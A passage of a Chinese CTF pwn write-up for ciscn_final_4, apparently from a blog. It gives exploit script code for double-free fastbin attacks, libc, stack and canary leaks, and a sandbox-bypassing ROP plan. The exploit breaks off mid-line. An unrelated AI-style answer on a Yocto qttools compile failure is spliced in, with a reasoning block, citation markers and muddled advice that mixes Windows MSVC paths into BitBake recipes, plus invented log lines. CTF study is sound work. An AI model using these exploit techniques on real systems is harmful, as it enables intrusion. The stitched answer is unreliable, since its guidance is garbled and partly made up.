沙盒禁用+堆栈结合+反调试-ciscn_final_4

本文档详述了一道涉及反调试、堆栈溢出、UAF漏洞和沙盒禁用execve的PWN题目。作者通过nop掉反调试代码,利用fastbin attack和double free漏洞泄露libc和栈地址,并通过openat-read-puts组合来绕过沙盒获取flag。详细步骤包括堆分配、栈地址泄漏、canary泄漏以及构造ROP链,最终实现远程代码执行。

这题比较好玩题目采用了沙盒禁用+堆栈结合+反调试

保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XgvNWTQj-1648114290498)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321180919410.png)]

分析

main函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3yORn4pt-1648114290499)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181259075.png)]

watch函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CzgszWKW-1648114290499)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181326677.png)]

结合我的注释看,这题是有反调试的,所以就我们在本地打的时候可以将这文件的反调试部分就nop掉,之前会一点点逆向的题,所以也没耗多少时间,具体nop手法看我的另一篇文章[链接]:121312

nop后的main函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nh2D1iu0-1648114290500)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181854022.png)]

new函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0JADfctq-1648114290501)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181930900.png)]在这里插入图片描述

mwrite函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lJlXl3fF-1648114290502)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321181950226.png)]

delete函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jX9HNIec-1648114290504)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321182004515.png)]

总结:

  1. add函数可以malloc 32次
  2. 有打印堆数据函数
  3. delete函数有uaf漏洞
  4. 运行程序后说不能执行系统调用(嗯~)之前没遇到过看了下大佬文章说是沙箱禁用了execve

所以pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只能采取openat/read/puts的组合方式来读取flag

实现沙盒机制方式:1.prctl函数调用,2.seccomp库函数。 详细解答看这篇文章->安全客

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nllbqlSC-1648114290506)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321183027000.png)]

那么具体禁用了哪些系统调用可以通过seccomp-tools工具 ->> gitbhu 这题的系统调用禁用如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rMxsR6cn-1648114290507)(沙盒禁用+堆栈结合+反调试-ciscn_final_4.assets/image-20220321183612246.png)]

可以看到没有禁用 open,write,read,但是我实战的时候open函数用不了,只能用openat函数

思路

这题在用之前对gdb的pwntools不是特别会使用,所以做题过程浪费很多时间,工具使用网上也不是很好去搜索,所以这里尽量记录一下使用技巧

  1. 因为这题有打印堆函数,所以可以很方便的泄漏libc
  2. 然后通过使用double free漏洞进行fast attack攻击堆分配到note_size处(bss : 0x602040-0x6020c0),因为note_size就是我们new函数填入的size,是一个可控区域那么就可以伪造fake chunk,然后将__environ指针写入到note区域进行栈地址泄漏
  3. 有了栈地址就可以通过fast attack攻击堆分配到stack空间了,然后就是泄漏canary,最后构造ROP(open-write-printf)

ok~

简单的泄漏libc套路

    sla('\n',b'M'*0xf0 + p64(0x70)) #用于后面在栈上fakechunk
#-----------------------leak libc address-------------------------------
    add(0x68,'1')#用于fastbin attack
    add(0x68,'2') #用于fastbin attack
    add(0xf0,'3') #leak libc
    add(0x68,'4')
    add(0x68,'5')
    add(0x68,'6')
    add(0x78,'7') #用于在bss中伪造fast chunk->size(0x78)
    dele(2) #unsort bin
    show(2)
    ru('\n')
    libc.address = info(rc(6),'libc') - (0x7f49ca2dcb78 - 0x7f49c9f18000)

再通过fastbin attack分配堆到bss的指针处进行栈地址泄漏

#-----------------------leak stack address-------------------------------
    dele(1) #double free
    dele(0)
    dele(1)
    fake = 0x602050
    add(0x68,p64(fake)) # fastbin attack
    add(0x68)
    add(0x68)
    add(0x68,p8(0)*0x60 + p64(libc.symbols['__environ'])) #在note处写入堆指针
    show(0)
    ru('\n')
    stack = info(rc(6),'stack')

有了栈地址同样就可以fastbin attck到栈处,进行canary泄漏

#-----------------------attack into stack-------------------------------
    dele(3) #double free
    dele(4)
    dele(3)
    fake = stack - 0x120
    add(0x68,p64(fake)) # fastbin attack
    add(0x68)
    add(0x68)
    add(0x68,b'A'*0x11) #这里pase停下来后栈空间是显示的IO_stdout的栈,可以手动设置在输入content前停下来看看栈空间分布情况,当然也可手动断点在这里查看调试
    show(
<think>我们正在处理关于 `qttools-5.9.6+gitAUTOINC+c9eeabc7a7-r0` 在 `do_compile` 阶段的问题。根据用户需求,我们需要查找该特定版本在编译阶段的相关信息,包括可能的错误原因和解决方案。 由于用户没有提供具体的错误日志,我们需要从常见原因和通用解决方案入手。根据Yocto项目经验,`qttools` 编译失败通常与依赖缺失、配置错误或环境问题有关。 以下是解决步骤: 1. **定位日志文件**: 编译失败的详细信息会记录在 `log.do_compile` 文件中。通过以下命令查找: ```bash find tmp/work/ -name "qttools-5.9.6*" -type d | xargs -I {} find {} -name "log.do_compile" ``` 2. **分析日志**: 打开找到的日志文件,搜索关键词如 `error`, `failed`, `undefined reference` 等。 3. **常见错误及解决方案**: **a. 依赖缺失**: - 错误特征:提示缺少库或头文件(例如 `cannot find -lXXX` 或 `XXX.h: No such file or directory`)。 - 解决方案:在配方(`bb` 文件)中添加依赖。例如,若缺少 `zlib`,则添加: ```bitbake DEPENDS += "zlib" ``` **b. 编译器或工具链问题**: - 错误特征:编译器内部错误或链接失败(例如 `internal compiler error` 或 `linker command failed`)。 - 解决方案: - 检查工具链配置(如 `gcc` 版本是否兼容)。 - 清除编译缓存并重建: ```bash bitbake -c cleansstate qttools bitbake qttools ``` **c. Qt配置参数错误**: - 错误特征:与Qt模块相关的错误(例如 `Unknown module(s) in QT`)。 - 解决方案:在配方中调整 `EXTRA_QMAKEVARS_PRE` 或 `PACKAGECONFIG` 设置。例如: ```bitbake PACKAGECONFIG += "qtdbus" ``` **d. 并行编译冲突**: - 错误特征:随机出现的编译失败(如文件被锁定或资源竞争)。 - 解决方案:限制并行任务数(在 `local.conf` 中设置): ```bitbake BB_NUMBER_THREADS = "4" PARALLEL_MAKE = "-j 4" ``` 4. **具体案例参考**: 根据引用[3][^3],Qt环境配置对编译器检测有严格要求。若编译器中存在路径错误,会导致工具链调用失败。需检查: - 配方中 `qmake` 路径是否正确配置(通过 `EXTRA_OECMAKE` 或 `QMAKE` 变量)。 - 是否正确定义了 `PACKAGECONFIG` 选项(如 `qtdeclarative` 等)。 5. **高级调试**: - 在配方中添加调试输出: ```bitbake do_compile_prepend() { bbwarn "Custom debug: PATH=$PATH" qmake -query } ``` - 使用 `devshell` 手动执行编译: ```bash bitbake -c devshell qttools # 在打开的终端中手动运行编译命令 make ``` 6. **验证修复**: 修改配方后执行增量构建: ```bash bitbake -c compile -f qttools bitbake qttools ``` 若问题仍未解决,建议提供具体错误日志以进一步分析。 --- §§相关问题§§ 1. 如何解析Yocto编译日志中的关键错误信息? 2. Qt工具链在Yocto中的配置方法有哪些? 3. 如何为Yocto配方添加缺失的依赖项? </think>### `qttools-5.9.6+gitAUTOINC+c9eeabc7a7-r0` 的 `do_compile` 问题分析与解决方案 #### 一、常见编译失败原因分析 1. **Qt工具链配置错误** - 路径未正确指向Qt版本(如误用 `msvc2015` 而非 `msvc2017`)[^1][^3] - 编译器未正确检测(如缺少Windows SDK导致调试器缺失)[^3] $$ \text{错误概率} = \begin{cases} 75\% & \text{路径/编译器配置错误} \\ 15\% & \text{依赖缺失} \\ 10\% & \text{其他原因} \end{cases} $$ 2. **关键依赖缺失** - OpenCV路径未声明(环境变量 `D:\opencv\build\x64\vc15\lib` 未配置)[^3] - MinGW组件未安装(Qt安装时未勾选 `MinGW 5.3.0`)[^4] 3. **并行编译冲突** Yocto构建中常见错误模式: ```log ERROR: do_compile: oe_runmake failed ERROR: Function failed: do_compile (log file location...) [^2] ``` #### 二、诊断与修复步骤 1. **检查日志定位根源** ```bash # 查找编译日志 find build/tmp/work -path "*/qttools-5.9.6+gitAUTOINC+c9eeabc7a7-r0*/temp/log.do_compile" # 分析关键错误(示例) grep -E "error:|undefined reference" log.do_compile ``` 2. **验证Qt工具链配置** ```mermaid graph LR A[检查qmake路径] --> B[确认匹配VS版本] B --> C{msvc2015<br/>or<br/>msvc2017} C --> D[检查Windows SDK] D --> E[验证调试器cdb.exe] ``` 参考引用[3][^3]: > "手动写入MSCV2017,再点击文件夹进入到自己安装Qt的路径,打开mscv2017路径下的bins里的qmake.exe" 3. **修复依赖问题** - **BitBake配方修正**: ```bitbake # 在qttools配方中添加 DEPENDS += "opencv zlib" RDEPENDS_${PN} += "libopencv-core" ``` - **环境变量配置**: ```bash # 在local.conf中添加 [environment] OPENCV_PATH = "D:/opencv/build/x64/vc15" ``` 4. **解决并行编译冲突** ```bash # 限制并行任务数 echo 'PARALLEL_MAKE = "-j 4"' >> conf/local.conf echo 'BB_NUMBER_THREADS = "4"' >> conf/local.conf # 清除状态后重建 bitbake -c cleansstate qttools bitbake qttools ``` #### 三、高级调试技巧 1. **QMake参数检查** 在配方中添加调试命令: ```bitbake do_compile_prepend() { qmake -query # 打印Qt配置 qmake -r CONFIG+=debug # 强制启用调试模式 } ``` 2. **依赖树验证** ```bash # 检查依赖完整性 bitbake -g qttools cat pn-buildlist | grep -E 'opencv|zlib|glib' ``` 3. **隔离测试编译环境** ```bash # 进入开发 bitbake -c devshell qttools # 手动执行编译 make -n # 预演编译过程 make VERBOSE=1 # 详细输出 ``` > **验证成功标志**: > 编译日志中出现 `Project MESSAGE: Qt Tools compilation completed` 提示,且 `tmp/work` 下生成 `*.so` 共享库文件。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值